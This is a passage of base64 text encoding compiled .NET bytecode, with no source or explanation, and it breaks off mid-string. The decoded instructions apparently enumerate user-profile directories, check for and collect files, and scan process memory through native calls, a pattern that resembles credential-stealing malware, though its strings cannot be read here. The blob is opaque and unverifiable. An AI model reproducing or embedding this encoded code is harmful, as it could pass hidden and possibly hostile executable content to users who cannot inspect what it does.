QAAASUWHwqMhQAAAaJvsQAAChMEEQRvsAAACnLjKwBwIAABAAAUEQQUb7EAAAoTBREFb7AAAApy7ysAcCAAEAAAFBEFFG+xAAAKby0AAAoosgAAChMGFhMIOHcBAAARBW+wAAAKcvsrAHAgAAEAABQRBReNEQAAASUWEQiMhQAAAaJvsQAAChMJEQlvsAAACnIFLABwIAABAAAUEQkXjREAAAElFnInLABwom+xAAAKEwoRCm8tAAAKKLMAAAoIKLQAAAo5+wAAABEJb7AAAApytgQAcCAAEAAAFBEJFG+xAAAKEwsRCW+wAAAKcl0sAHAgABAAABQRCRRvsQAAChMMEQlvsAAACnJnLABwIAAQAAAUEQkUb7EAAAoTDREJb7AAAApyBSwAcCAAAQAAFBEJF40RAAABJRZycSwAcKJvsQAAChMOBnM4AAAKJXK2BABwcq4EAHARCyhEAAAKbzoAAAolcl0sAHByrgQAcBEMKEQAAApvOgAACiVyZywAcHKuBABwEQ0oRAAACm86AAAKJXKnLABwcq4EAHARDihEAAAKbzoAAAolcsEsAHByrgQAcBEKKEQAAApvOgAACm9XAAAKEQkotQAACiYUEwkRCBdYEwgRCBEGP4D+//8RBCi1AAAKJhQTBAkotQAACiYUDd4VEw9yhQAAcBEPKDUAAAooIAAABt4ABipBHAAAAAAAAAYAAAAzAgAAOQIAABUAAAAXAAABHgIoIAAACiobMAUAxAEAABwAABFzMAAACgoodgAABjkJAQAAclcmAHByryUAcCiNAAAKKEQAAAooPAAACgsWDDjaAAAABwiaDQkXjXYAAAElFh9cnW93AAAKJY5pF1maJgly2ywAcG9HAAAKOqoAAAAJcuksAHBvRwAACjqaAAAACXL5LABwb0cAAAo6igAAAAlyEy0AcG9HAAAKLX1yJy0AcAkoRAAAChMEEQQoSwAACixnEQQoPAAAChMFFhMGK1ERBREGmhMHcoMtAHARB3KTLQBwKLYAAAoTCBEIKI4AAAosCAYRCG80AAAKcoMtAHARB3KjLQBwKLYAAAoojgAACiwIBhEIbzQAAAoRBhdYEwYRBhEFjmkypwgXWAwIB45pPx3///84jQAAAHKzLQBwKI0AAAomcictAHBybSsAcCiNAAAKKEQAAAoTCREJKEsAAAosYxEJKDwAAAoLFgwrUQcImhMKcoMtAHARCnKTLQBwKLYAAAoTCxELKI4AAAosCAYRC280AAAKcoMtAHARCnKjLQBwKLYAAAoTDBEMKI4AAAosCAYRDG80AAAKCBdYDAgHjmkyqd4aEw1ybyQAcBENb48AAAooRAAACiggAAAG3gAGKkEcAAAAAAAABgAAAKIBAACoAQAAGgAAABcAAAEbMAMA1wAAAB0AABFzMAAACgoCKEsAAAo5xAAAAAIoPAAACgsWDDitAAAABwiaDXKDLQBwCXLFLQBwKLYAAAoTBHLhLQBwc30AAAoTBREEc7cAAAoTBisxEQURB2+4AAAKEwgRCG+5AAAKLB0GEQhvugAAChZvuwAACm8tAAAKb3YAAApvNAAAChEGb7wAAAolEwctw94MEQYsBxEGbxUAAArc3i8TCXKULgBwEQlvjwAACiiVAAAK3hoTCnJvJABwEQpvjwAACihEAAAKKCAAAAbeAAgXWAwIB45pP0r///8GKgABKAAAAgBKAEGLAAwAAAAAAABBAFiZABUvAAABAABBAFiuABoXAAABGzAFAOQAAAAeAAARczAAAAoKKHYAAAY5jgAAAHJXJgBwcq8lAHAojQAACihEAAAKKDwAAAoLFgwraAcImg0JF412AAABJRYfXJ1vdwAACiWOaRdZmhMECXLbLABwb0cAAAotOgly6SwAcG9HAAAKLS0JcvksAHBvRwAACi0gCXITLQBwb0cAAAotE3InLQBwCShEAAAKEQQoOAAABgoIF1gMCAeOaTKSKyhysy0AcCiNAAAKEwVyJy0AcHJtKwBwKI0AAAooRAAAChEFKDgAAAYK3hoTBnJvJABwEQZvjwAACihEAAAKKCAAAAbeAAYqARAAAAAABgDCyAAaFwAAARswBQBMAQAAHwAAEXM4AAAKCih2AAAGOcYAAAByVyYAcHKvJQBwKI0AAAooRAAACig8AAAKCxYMOJoAAAAHCJoNCReNdgAAASUWH1ydb3cAAAoljmkXWZomCXLbLABwb0cAAAotbQly6SwAcG9HAAAKLWAJcvksAHBvRwAACi1TCXITLQBwb0cAAAotRnJLLwBwCShEAAAKEwQRBCiOAAAKLA0Gcr8vAHARBG+KAAAKcusvAHAJKEQAAAoTBREFKI4AAAosDQZyZTAAcBEFb4oAAAoIF1gMCAeOaT9d////K1hySy8AcHJtKwBwKI0AAAooRAAAChMGEQYojgAACiwNBnK/LwBwEQZvigAACnLrLwBwcm0rAHAojQAACihEAAAKEwcRByiOAAAKLA0GcmUwAHARB2+KAAAK3hoTCHJvJABwEQhvjwAACihEAAAKKCAAAAbeAAYqQRwAAAAAAAAGAAAAKgEAADABAAAaAAAAFwAAARswAwCdAAAAIAAAEXMwAAAKCgIojgAACjmKAAAAcuEtAHBzfQAACgsCc7cAAAoMKy8HCW+4AAAKEwQRBG+5AAAKLB0GEQRvugAAChZvuwAACm8tAAAKb3YAAApvNAAACghvvAAACiUNLcfeCggsBghvFQAACtzeLxMFcpUwAHARBW+PAAAKKJUAAAreGhMGcm8kAHARBm+PAAAKKEQAAAooIAAABt4ABioAAAABKAAAAgAjAD1gAAoAAAAAAAAcAFBsABUvAAABAAAcAFCBABoXAAABGzADAN0AAAAhAAARczAAAAoKAiiOAAAKOcoAAAACKJAAAAoLc70AAAoHbwMAACtyQjEAcG+/AAAKdBsAABtyTjEAcG+/AAAKdBsAABtyaDEAcG+/AAAKdI0AAAFvwAAACgwrNAhvGQAACnQbAAAbDQlyejEAcG/BAAAKLBsGCXJ6MQBwb78AAApvLQAACm92AAAKbzQAAAoIbxYAAAotxN4UCHUnAAABEwQRBCwHEQRvFQAACtzeLxMFcoIxAHARBW+PAAAKKJUAAAreGhMGcm8kAHARBm+PAAAKKEQAAAooIAAABt4ABioAAAABKAAAAgBWAECWABQAAAAAAAARAJusABUvAAABAAARAJvBABoXAAABGzAFAH8BAAAiAAARc8IAAAolci8yAHBzMAAACm/DAAAKJXI/MgBwczAAAApvwwAACgoodgAABjnNAAAAclEyAHAocAAACnJXJgBwcq8lAHAojQAACihEAAAKKDwAAAoLFgw4lwAAAAcImg0JF412AAABJRYfXJ1vdwAACiWOaRdZmhMECXLbLABwb0cAAAotaQly6SwAcG9HAAAKLVwJcvksAHBvRwAACi1PCXITLQBwb0cAAAotQnKPMgBwCShEAAAKEwUGci8yAHARBREEKDsAAAZvxAAACnIDMwBwCShEAAAKEwYGcnszAHARBhEEKDwAAAZvxAAACggXWAwIB45pP2D///8rZHKPMgBwcm0rAHAojQAACihEAAAKEwcGci8yAHARB3KzLQBwKI0AAAooOwAABm/EAAAKcgMzAHBybSsAcCiNAAAKKEQAAAoTCAZyezMAcBEIcrMtAHAojQAACig8AAAGb8QAAAreGhMJcm8kAHARCW+PAAAKKEQAAAooIAAABt4ABioAQRwAAAAAAAAmAAAAPQEAAGMBAAAaAAAAFwAAARswBQANBAAAIwAAER9aCnPCAAAKJXIvMgBwczAAAApvwwAACiVyjzMAcHMwAAAKb8MAAAoLKKsAAAoNEgMGZWworAAACgwodgAABjlfAgAAfsUAAApvMwAAChMEFhMFOOsAAAARBBEFmhMGEQZyozMAcG/GAAAKOc0AAAARBnKvMwBwb0cAAAo6vAAAAHLBMwBwcskzAHARBihEAAAKKGUAAAYTBxEHOZ0AAAARB2/HAAAKFz6QAAAAEQdvhgAAChMIK2wSCCiHAAAKEwlywTMAcHIvNABwEQYoRAAAChIJKIgAAApvLQAACm92AAAKKGYAAAYTChEKLDYRChYoyAAACijJAAAKCCi0AAAKLCEHci8yAHBvygAAChIJKIkAAApvLQAACm92AAAKbzQAAAoSCCiLAAAKLYveDhII/hYcAAAbbxUAAArcEQUXWBMFEQURBI5pPwr///9yVyYAcHKvJQBwKI0AAAooRAAACig8AAAKEwQWEwU4IgEAABEEEQWaEwsRCxeNdgAAASUWH1ydb3cAAAoljmkXWZomEQty2ywAcG9HAAAKOusAAAARC3LpLABwb0cAAAo62gAAABELcvksAHBvRwAACjrJAAAAEQtyEy0AcG9HAAAKOrgAAABynTQAcBELKEQAAAoTDBEMKEsAAAo5ngAAABEMcrs0AHAXKFUAAAoTDRENjjmHAAAAEQ0TDhYTDyt2EQ4RD5pztwAAChMQcuUBAHATEislERFyxzQAcBlvywAACiwWERFvSAAAChoxGBERGm/MAAAKExIrDBEQb7wAAAolExEtzwdyLzIAcG/KAAAKERJvLQAACm92AAAKbzQAAAreDBEQLAcREG8VAAAK3BEPF1gTDxEPEQ6OaTKCEQUXWBMFEQURBI5pP9P+//84UQEAAHLRNABwcts0AHAoZQAABhMTERM5lQAAABETb8cAAAo5iQAAABETb4YAAAoTCCtlEggohwAAChMUctE0AHByOTUAcBIUKIgAAApvLQAACm92AAAKKGYAAAYTFREVLDYRFRYoyAAACijJAAAKCCi0AAAKLCEHci8yAHBvygAAChIUKIkAAApvLQAACm92AAAKbzQAAAoSCCiLAAAKLZLeDhII/hYcAAAbbxUAAArccp00AHBybSsAcCiNAAAKKEQAAApyuzQAcBcoVQAAChMEFhMFK3YRBBEFmnO3AAAKExZy5QEAcBMYKyURF3LHNABwGW/LAAAKLBYRF29IAAAKGjEYERcab8wAAAoTGCsMERZvvAAACiUTFy3PB3KPMwBwb8oAAAoRGG8tAAAKb3YAAApvNAAACt4MERYsBxEWbxUAAArcEQUXWBMFEQURBI5pMoLeFRMZcm8kAHARGShEAAAKKCAAAAbeAAcqAAAAQXwAAAIAAAC2AAAAeQAAAC8BAAAOAAAAAAAAAAIAAAAbAgAAWAAAAHMCAAAMAAAAAAAAAAIAAADQAgAAcgAAAEIDAAAOAAAAAAAAAAIAAACCAwAAWAAAANoDAAAMAAAAAAAAAAAAAAA6AAAAvAMAAPYDAAAVAAAAFwAAARswCQAtAQAAJAAAEXMwAAAKCnKFKwBwc60AAAoorgAACiivAAAKCwdvsAAACnKfNQBwIAABAAAUBxRvsQAACgwIb7AAAApy7ysAcCAAEAAAFAgUb7EAAApvLQAACiiyAAAKDRYTBDibAAAACG+wAAAKcvsrAHAgAAEAABQIF40RAAABJRYRBIyFAAABom+xAAAKEwURBW+wAAAKcq81AHAgABAAABQRBRRvsQAACiYRBW+wAAAKcsk1AHAgABAAABQRBRRvsQAAChMGEQZvLQAACnLhNQBwKM0AAAosEgZyrgQAcBEGKEQAAApvNAAAChEFKLUAAAomFBMF3gMm3gARBBdYEwQRBAk/Xf///wgotQAACiYUDAcotQAACiYUC94VEwdybyQAcBEHKEQAAAooIAAABt4ABioAAABBNAAAAAAAAIgAAABpAAAA8QAAAAMAAAARAAABAAAAAAYAAAAQAQAAFgEAABUAAAAXAAABEzADAB0BAAAlAAARAtBSAAACKM4AAAoozwAACgsHb7AAAApyEzYAcG/QAAAKB2/RAAAKDwAo0gAACh8Qalgo0wAACgylhQAAAQ0JRQ0AAAAWAAAAMAAAAD4AAABMAAAAWgAAAGgAAAB7AAAABQAAAKEAAAChAAAAoQAAAKEAAACOAAAAOJwAAAAIKNQAAAoo1QAACgo4jQAAAAgo1gAACox9AAABCgalkgAAAYySAAABCitzCCjXAAAKjJMAAAEKK2UIKNcAAAqMkwAAAQorVwgo2AAACoyFAAABCitJCCjYAAAKjIUAAAEKKzsI0JQAAAEozgAACijPAAAKCisoCNAxAAABKM4AAAoozwAACgorFQgo1AAACnPZAAAKb9oAAAoKKwIUCgYqAAAAGzAIAD0FAAAmAAARc1EAAAoKKNsAAApv3AAACiVv3QAACgtv3gAACgwHHDIRCBgyDdBQAAACKM4AAAoNKwvQUQAAAijOAAAKDRYTBH7fAAAKEwUWEgQSBShDAQAGEwYRBiwjch02AHASBijgAAAKcjYgAHAobwAACihwAAAKBhMJ3cAEAAARBRMHc+EAAAoTCBEIcn02AHBzrQAACnLHNgBwb+IAAAoRCHLvNgBwc60AAApyOTcAcG/iAAAKEQhyeTcAcHOtAAAKcsM3AHBv4gAAChEIcgs4AHBzrQAACnJVOABwb+IAAAoRCHJ1OABwc60AAApyvzgAcG/iAAAKEQhy5zgAcHOtAAAKcjE5AHBv4gAAChEIcn05AHBzrQAACnLHOQBwb+IAAAoRCHINOgBwc60AAApyVzoAcG/iAAAKEQhyjzoAcHOtAAAKFG/iAAAKFhMKOMQDAAARB9AxAAABKM4AAAoozwAAChMLEgwRC28tAAAKKK0AAAoSByjSAAAK0DEAAAEozgAACijjAAAKalgo0wAAChMHft8AAAoTDREIEQxv5AAACiwNEQgRDG/lAAAKEw4rDxIM/hYxAAABby0AAAoTDhIMFhINKEABAAYTBhEGLCJy2ToAcBEOciM7AHASBijgAAAKKHIAAAoocAAACjgeAwAAFhMPft8AAAoTEBENIAACAAASDxIQKEQBAAYTBhEGLCJyOzsAcBEOcrE7AHASBijgAAAKKHIAAAoocAAACjjcAgAAERATEREPFj7QAgAAFxMSOL8CAABzOAAACiVyxzsAcHKuBABwEQyMMQAAAShEAAAKbzoAAAolchM2AHARDm86AAAKJXLROwBwcuUBAHBvOgAACiVy4zsAcHLlAQBwbzoAAAolcvU7AHBy5QEAcG86AAAKJXILPABwcuUBAHBvOgAACiVyITwAcHLlAQBwbzoAAAolcj08AHBy5QEAcG86AAAKExMREQkozwAAChMUEhEo0gAACgko4wAACmpYKNMAAAoTEX7fAAAKExURFG+wAAAKckk8AHBv0AAAChMWEhcRFhEUb9EAAApvLQAACiitAAAKERRvsAAACnJbPABwb9AAAAoRFG/RAAAKpZEAAAETGBEUb7AAAApyfTwAcG/QAAAKERRv0QAACqWRAAABExkRFG+wAAAKcp88AHBv0AAAChEUb9EAAAqllwAAARMaft8AAAoTGwccMj4IGDI6ERRvsAAACnK5PABwb9AAAAoRFG/RAAAKpZEAAAETGxENEhcRGBEZERt+3wAAChYSFShFAQAGEwYrFxENEhcRGBEZft8AAAoWEhUoRgEABhMGEQYsIhETcj08AHBy0TwAcBIGKOAAAAooPwAACm+KAAAKOPcAAAARFQkozwAAChMcERxvsAAACnIvPQBwb9AAAAoRHG/RAAAKpZEAAAEoQAAABhMdFBMeERt+3wAACijmAAAKLAkRGyhAAAAGEx4RHTmoAAAAERgoQAAABhMfER8sGBETctE7AHByrgQAcBEfKEQAAApvigAAChEZKEAAAAYTIBEgLBgRE3LjOwBwcq4EAHARIChEAAAKb4oAAAoRHiwYERNy9TsAcHKuBABwER4oRAAACm+KAAAKERNyCzwAcHKuBABwER0oRAAACm+KAAAKERNyITwAcHKuBABwERoo5wAACowsAAABKEQAAApvigAACgYRE29XAAAKERIXWBMSERIRDz44/f//EQoXWBMKEQoRBD8z/P//3hoTIXJvJABwESFvjwAACihEAAAKKCAAAAbeAAYqEQkqAAAAQRwAAAAAAAAGAAAAGAUAAB4FAAAaAAAAFwAAARMwBABmAQAAJwAAEXNRAAAKCih2AAAGOdMAAAB+xQAACm8zAAAKCxYMOLMAAAAHCJoNCXKjMwBwb8YAAAo5mwAAAAlyrzMAcG9HAAAKOosAAABywTMAcHJbPQBwCShEAAAKKGcAAAYTBBEELHARBBMFFhMGK18RBREGmhMHctE0AHByxz0AcBEHKEQAAApyMz4AcChkAAAGEwhzOAAACiVyTT4AcAlvOgAACiVyVT4AcBEHbzoAAAolcl8+AHARCG86AAAKEwkGEQlvVwAAChEGF1gTB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hMFEQUojgAACjmcAAAAEQUoqQAAChMNEQUoqgAAChMOEQVz6QAACijqAAAKEw8GczgAAAolcrFDAHARBW86AAAKJXIKBQBwcl1EAHBvOgAACiVy5UMAcHKuBABwEQ2MLAAAAShEAAAKbzoAAAolcvdDAHByrgQAcBEOjCwAAAEoRAAACm86AAAKJXJnLABwcq4EAHARD4yZAAABKEQAAApvOgAACm9XAAAKcn9EAHAJKEQAAAoTBhEGKI4AAAo5nAAAABEGKKkAAAoTEBEGKKoAAAoTEREGc+kAAAoo6gAAChMSBnM4AAAKJXKxQwBwEQZvOgAACiVyCgUAcHLbRABwbzoAAAolcuVDAHByrgQAcBEQjCwAAAEoRAAACm86AAAKJXL3QwBwcq4EAHAREYwsAAABKEQAAApvOgAACiVyZywAcHKuBABwERKMmQAAAShEAAAKbzoAAApvVwAACnILRQBwCShEAAAKEwcRByiOAAAKOZwAAAARByipAAAKExMRByiqAAAKExQRB3PpAAAKKOoAAAoTFQZzOAAACiVysUMAcBEHbzoAAAolcgoFAHByY0UAcG86AAAKJXLlQwBwcq4EAHARE4wsAAABKEQAAApvOgAACiVy90MAcHKuBABwERSMLAAAAShEAAAKbzoAAAolcmcsAHByrgQAcBEVjJkAAAEoRAAACm86AAAKb1cAAApyh0UAcAkoRAAAChMIEQgojgAACjmcAAAAEQgoqQAAChMWEQgoqgAAChMXEQhz6QAACijqAAAKExgGczgAAAolcrFDAHARCG86AAAKJXIKBQBwcsFFAHBvOgAACiVy5UMAcHKuBABwERaMLAAAAShEAAAKbzoAAAolcvdDAHByrgQAcBEXjCwAAAEoRAAACm86AAAKJXJnLABwcq4EAHARGIyZAAABKEQAAApvOgAACm9XAAAKcttFAHAJKEQAAAoTCREJKI4AAAo5nAAAABEJKKkAAAoTGREJKKoAAAoTGhEJc+kAAAoo6gAAChMbBnM4AAAKJXKxQwBwEQlvOgAACiVyCgUAcHIVRgBwbzoAAAolcuVDAHByrgQAcBEZjCwAAAEoRAAACm86AAAKJXL3QwBwcq4EAHARGowsAAABKEQAAApvOgAACiVyZywAcHKuBABwERuMmQAAAShEAAAKbzoAAApvVwAACggXWAwIB45pP1n7//84dAQAAHKHQwBwcm0rAHAojQAACihEAAAKExwRHCiOAAAKOZwAAAARHCipAAAKEyIRHCiqAAAKEyMRHHPpAAAKKOoAAAoTJAZzOAAACiVysUMAcBEcbzoAAAolcgoFAHByMUYAcG86AAAKJXLlQwBwcq4EAHARIowsAAABKEQAAApvOgAACiVy90MAcHKuBABwESOMLAAAAShEAAAKbzoAAAolcmcsAHByrgQAcBEkjJkAAAEoRAAACm86AAAKb1cAAApyCUQAcHJtKwBwKI0AAAooRAAAChMdER0ojgAACjmcAAAAER0oqQAAChMlER0oqgAAChMmER1z6QAACijqAAAKEycGczgAAAolcrFDAHARHW86AAAKJXIKBQBwcl1EAHBvOgAACiVy5UMAcHKuBABwESWMLAAAAShEAAAKbzoAAAolcvdDAHByrgQAcBEmjCwAAAEoRAAACm86AAAKJXJnLABwcq4EAHARJ4yZAAABKEQAAApvOgAACm9XAAAKcn9EAHBybSsAcCiNAAAKKEQAAAoTHhEeKI4AAAo5nAAAABEeKKkAAAoTKBEeKKoAAAoTKREec+kAAAoo6gAAChMqBnM4AAAKJXKxQwBwER5vOgAACiVyCgUAcHLbRABwbzoAAAolcuVDAHByrgQAcBEojCwAAAEoRAAACm86AAAKJXL3QwBwcq4EAHARKYwsAAABKEQAAApvOgAACiVyZywAcHKuBABwESqMmQAAAShEAAAKbzoAAApvVwAACnILRQBwcm0rAHAojQAACihEAAAKEx8RHyiOAAAKOZwAAAARHyipAAAKEysRHyiqAAAKEywRH3PpAAAKKOoAAAoTLQZzOAAACiVysUMAcBEfbzoAAAolcgoFAHByY0UAcG86AAAKJXLlQwBwcq4EAHARK4wsAAABKEQAAApvOgAACiVy90MAcHKuBABwESyMLAAAAShEAAAKbzoAAAolcmcsAHByrgQAcBEtjJkAAAEoRAAACm86AAAKb1cAAApyh0UAcHJtKwBwKI0AAAooRAAAChMgESAojgAACjmcAAAAESAoqQAAChMuESAoqgAAChMvESBz6QAACijqAAAKEzAGczgAAAolcrFDAHARIG86AAAKJXIKBQBwcsFFAHBvOgAACiVy5UMAcHKuBABwES6MLAAAAShEAAAKbzoAAAolcvdDAHByrgQAcBEvjCwAAAEoRAAACm86AAAKJXJnLABwcq4EAHARMIyZAAABKEQAAApvOgAACm9XAAAKcttFAHBybSsAcCiNAAAKKEQAAAoTIREhKI4AAAo5nAAAABEhKKkAAAoTMREhKKoAAAoTMhEhc+kAAAoo6gAAChMzBnM4AAAKJXKxQwBwESFvOgAACiVyCgUAcHIVRgBwbzoAAAolcuVDAHByrgQAcBExjCwAAAEoRAAACm86AAAKJXL3QwBwcq4EAHARMowsAAABKEQAAApvOgAACiVyZywAcHKuBABwETOMmQAAAShEAAAKbzoAAApvVwAACt4VEzRybyQAcBE0KEQAAAooIAAABt4ABioAAEEcAAAAAAAABgAAAE0JAABTCQAAFQAAABcAAAEbMAkACAMAACwAABFzUQAACgodCyirAAAKDRIDB2VsKKwAAAoMck1GAHBzrQAACiiuAAAKKK8AAAoTBCh2AAAGObEBAAByVyYAcHKvJQBwKI0AAAooRAAACig8AAAKEwUWEwY4fgEAABEFEQaaEwcRBxeNdgAAASUWH1ydb3cAAAoljmkXWZoTCBEHctssAHBvRwAACjpGAQAAEQdy6SwAcG9HAAAKOjUBAAARB3L5LABwb0cAAAo6JAEAABEHchMtAHBvRwAACjoTAQAAcpdGAHARByhEAAAKEwkRCXLzRgBwFyhVAAAKEwoRCo456QAAAHL/RgBwEQgolQAAChEKEwsWEww4xgAAABELEQyaEw0RDSipAAAKEw4RDggotAAACjmjAAAAEQRvsAAACnIVRwBwIAABAAAUEQQXjREAAAElFhENom+xAAAKEw8RD2+wAAAKcjNHAHAgABAAABQRDxaNEQAAAW+xAAAKExAREG8tAAAKb3YAAApy5QEAcCjrAAAKLDkGczgAAAolcklHAHAREG8tAAAKbzoAAAolcuVDAHByrgQAcBEOjCwAAAEoRAAACm86AAAKb1cAAAoRDyi1AAAKJhQTDxEMF1gTDBEMEQuOaT8v////3gMm3gARBhdYEwYRBhEFjmk/d/7//zj6AAAAcldHAHByk0cAcCiNAAAKKEQAAApy80YAcBcoVQAAChMFFhMGOMYAAAARBREGmhMREREoqQAAChMSERIIKLQAAAo5owAAABEEb7AAAApyFUcAcCAAAQAAFBEEF40RAAABJRYREaJvsQAAChMTERNvsAAACnIzRwBwIAAQAAAUERMWjREAAAFvsQAAChMUERRvLQAACm92AAAKcuUBAHAo6wAACiw5BnM4AAAKJXJJRwBwERRvLQAACm86AAAKJXLlQwBwcq4EAHAREowsAAABKEQAAApvOgAACm9XAAAKERMotQAACiYUExMRBhdYEwYRBhEFjmk/L////xEEKLUAAAomFBME3hUTFXJvJABwERUoRAAACiggAAAG3gAGKkE0AAAAAAAAzwAAAAIBAADRAQAAAwAAABEAAAEAAAAAGQAAANgCAADxAgAAFQAAABcAAAEbMAYAOAMAAC0AABFzUQAACgoodgAABjnLAQAAclcmAHByryUAcCiNAAAKKEQAAAooPAAACgsWDDicAQAABwiaDQkXjXYAAAElFh9cnW93AAAKJY5pF1maJgly2ywAcG9HAAAKOmwBAAAJcuksAHBvRwAACjpcAQAACXL5LABwb0cAAAo6TAEAAAlyEy0AcG9HAAAKOjwBAABzMAAACiVyo0cAcHJtKwBwKI0AAAooRAAACm80AAAKJXLxRwBwcm0rAHAojQAACihEAAAKbzQAAApvUwAAChMEONsAAAASBChUAAAKEwURBShLAAAKOcYAAAARBSg8AAAKEwYWEwc4qgAAABEGEQeaKDcAAAoTCBYTCTiFAAAAEQgRCZoTChEKcjtIAHAozQAACixqEQooqQAAChMLEQooqgAAChMMEQoo7AAACiYGczgAAAolcuRIAHARCm86AAAKJXLlQwBwcq4EAHARC4wsAAABKEQAAApvOgAACiVy90MAcHKuBABwEQyMLAAAAShEAAAKbzoAAApvVwAAChEJF1gTCREJEQiOaT9w////EQcXWBMHEQcRBo5pP0v///8SBChYAAAKOhn////eDhIE/hYUAAAbbxUAAArcCBdYDAgHjmk/W/7//zg/AQAAcrMtAHAojQAACiZzMAAACiVyo0cAcHJtKwBwKI0AAAooRAAACm80AAAKJXLxRwBwcm0rAHAojQAACihEAAAKbzQAAApvUwAAChMEONMAAAASBChUAAAKEw0RDShLAAAKOb4AAAARDSg8AAAKCxYMOKYAAAAHCJooNwAAChMGFhMHOIUAAAARBhEHmhMOEQ5yO0gAcCjNAAAKLGoRDiipAAAKEw8RDiiqAAAKExARDijsAAAKJgZzOAAACiVy5EgAcBEObzoAAAolcuVDAHByrgQAcBEPjCwAAAEoRAAACm86AAAKJXL3QwBwcq4EAHAREIwsAAABKEQAAApvOgAACm9XAAAKEQcXWBMHEQcRBo5pP3D///8IF1gMCAeOaT9R////EgQoWAAACjoh////3g4SBP4WFAAAG28VAAAK3N4aExFybyQAcBERb48AAAooRAAACiggAAAG3gAGKkFMAAACAAAAzQAAAO4AAAC7AQAADgAAAAAAAAACAAAAJgIAAOYAAAAMAwAADgAAAAAAAAAAAAAABgAAABYDAAAcAwAAGgAAABcAAAEbMAYAvgUAAC4AABFzUQAACgoodgAABjnHAwAAclcmAHByryUAcCiNAAAKKEQAAAooPAAACgwWDTgvAgAACAmaEwQRBBeNdgAAASUWH1ydb3cAAAoljmkXWZomEQRy2ywAcG9HAAAKOvwBAAARBHLpLABwb0cAAAo66wEAABEEcvksAHBvRwAACjraAQAAEQRyEy0AcG9HAAAKOskBAABzMAAACiVy+EgAcBEEKEQAAApvNAAACiVySkkAcBEEKEQAAApvNAAACm9TAAAKEwU4eAEAABIFKFQAAAoTBhEGKEsAAAo5YwEAABEGKDcAAAoTBxEHOVMBAAARB445SwEAABEHEwgWEwk4NAEAABEIEQmaEwoRCiipAAAKEwsRCiiqAAAKEwwRCnPpAAAKKOoAAAoTDREKKOwAAAomEQoo7QAACh8QjX0AAAETDiUfJBEOFh8QKO4AAAoSDxEOKO8AAAofEI19AAABExAlHzgREBYaKO4AAAoREBYo8AAAChMRERGNfQAAARMSHzwREhYRERpZKO4AAAoopwAAChESb6gAAAoTEwZ